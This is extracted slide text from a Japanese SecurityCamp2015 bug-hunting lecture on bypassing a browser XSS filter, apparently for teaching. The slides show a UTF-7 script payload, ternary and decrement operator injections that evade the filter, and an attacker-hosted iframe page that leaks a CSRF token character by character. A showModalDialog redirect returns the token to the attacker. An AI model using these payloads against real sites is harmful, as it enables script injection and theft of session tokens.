+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-

<script>alert(1)</script>

UTF-7 からデコード

{<ME{T}A[ /+\t].*?((http-equiv)|(charset))[ /+\t]*=}

現在は "<meta charset=" も遮断

Page 82: SecurityCamp2015「バグハンティング入門」

遮断後

<script>var

q="";if#1#{true}else{false}//"</script>

<form name=form><input type=hidden name=token

value=f9d150048b></form><script>

var q="";if(1){true}else{false}//"</script>

if文は遮断される

三項演算子 & デクリメント演算子 でバイパス (2014)

Page 83: SecurityCamp2015「バグハンティング入門」

<form name=form><input type=hidden name=token

value=f9d150048b></form><script>

var q="";1?true:false//"</script>

if(1){true}else{false}

同じ意味

1?true:false

三項演算子は遮断されない

三項演算子 & デクリメント演算子 でバイパス (2014)

Page 84: SecurityCamp2015「バグハンティング入門」

遮断後

<script>var

q="";lo#ation=location-1//"</script>

<form name=form><input type=hidden name=token

value=f9d150048b></form><script>

var q="";location=location-1//"</script>

location への代入は遮断される

三項演算子 & デクリメント演算子 でバイパス (2014)

Page 85: SecurityCamp2015「バグハンティング入門」

<form name=form><input type=hidden name=token

value=f9d150048b></form><script>

var q="";location--//"</script>デクリメント演算子なら遮断されない

location=location-1

location--

同じ意味

三項演算子 & デクリメント演算子 でバイパス (2014)

Page 86: SecurityCamp2015「バグハンティング入門」

<form name=form><input type=hidden name=token

value=f9d150048b></form><script>

var q="";"a"==form.token.value[0]?top.TRUE.location.

search--:top.FALSE.location.search--//"

</script>

こんなふうにもかいても遮断されない

if("a"==form.token.value[0]){top.TRUE.location.search--;

}else{top.FALSE.location.search--;

}

以下と同じ意味

三項演算子 & デクリメント演算子 でバイパス (2014)

Page 87: SecurityCamp2015「バグハンティング入門」

if("a"==form.token.value[0]){top.TRUE.location.search--;

}else{top.FALSE.location.search--;

}

<iframe src=http://victim/ id=TRUE></iframe><iframe src=http://victim/ id=FALSE></iframe><iframe src=http://victim/xss?q=";[code]//></iframe>

http://attacker/exploit.html

top.* はそれぞれ、親の持つ別のフレームを参照させている

三項演算子 & デクリメント演算子 でバイパス (2014)

Page 88: SecurityCamp2015「バグハンティング入門」

if("a"==form.token.value[0]){top.TRUE.location.search--;

}else{top.FALSE.location.search--; // こっちへ

}

token の 1文字目は「 a」ではないので偽の分岐へ

top.FALSE.location.search = top.FALSE.location.search - 1

以下が実行されることにより、FALSE のフレーム内でナビゲーションが発生

http://victim/

http://victim/?-1navi

三項演算子 & デクリメント演算子 でバイパス (2014)

Page 89: SecurityCamp2015「バグハンティング入門」

攻撃者は TRUE ・ FALSE 、それぞれのフレームに load のイベントリスナを設定しておく

この時点で攻撃者は「 token の 1文字目は a でない」と知れる

今回であればまず FALSE のフレームの遷移で load が発生する

token 取得のデモ:http://l0.cm/xssfilter_bypass/

条件部を "b"==form.token.value[0] のように変えて試行を繰り返していけば、 tokenの取得も可能

三項演算子 & デクリメント演算子 でバイパス (2014)

Page 90: SecurityCamp2015「バグハンティング入門」

showModalDialog() をつかったバイパス (2015)http://attacker/opener.html<script>

ret=showModalDialog("redirector");alert(ret);

</script>

http://attacker/redirectorLocation: ヘッダでリダイレクトhttp://victim/xss?q=";[code]//

<form name=form><input type=hidden name=token

value=f9d150048b></form><script>

var q="";returnValue=form.token.value//"</script>http://masatokinugawa.l0.cm/2015/06/xss6.html

詳細は:

Page 91: SecurityCamp2015「バグハンティング入門」

ハントの秘訣[ 過去の失敗を知ろう ] 過去の修正済みの脆弱性をじっくりみてみよう修正後に詳細情報が公開されているものはたくさんある

大抵の脆弱性は形を変えたよく似た失敗探すべきポイントがみえてくる

Page 92: SecurityCamp2015「バグハンティング入門」

僕が心がけていること

「知らなきゃ」より「知りたい」でうごく流行だけを気にしない古くて誰も使っていないような技術でも調べてみる

Page 93: SecurityCamp2015「バグハンティング入門」

最後に

バグハントに一番必要なもの

根気

Page 94: SecurityCamp2015「バグハンティング入門」

さあ、バグハントに出掛けよ

う!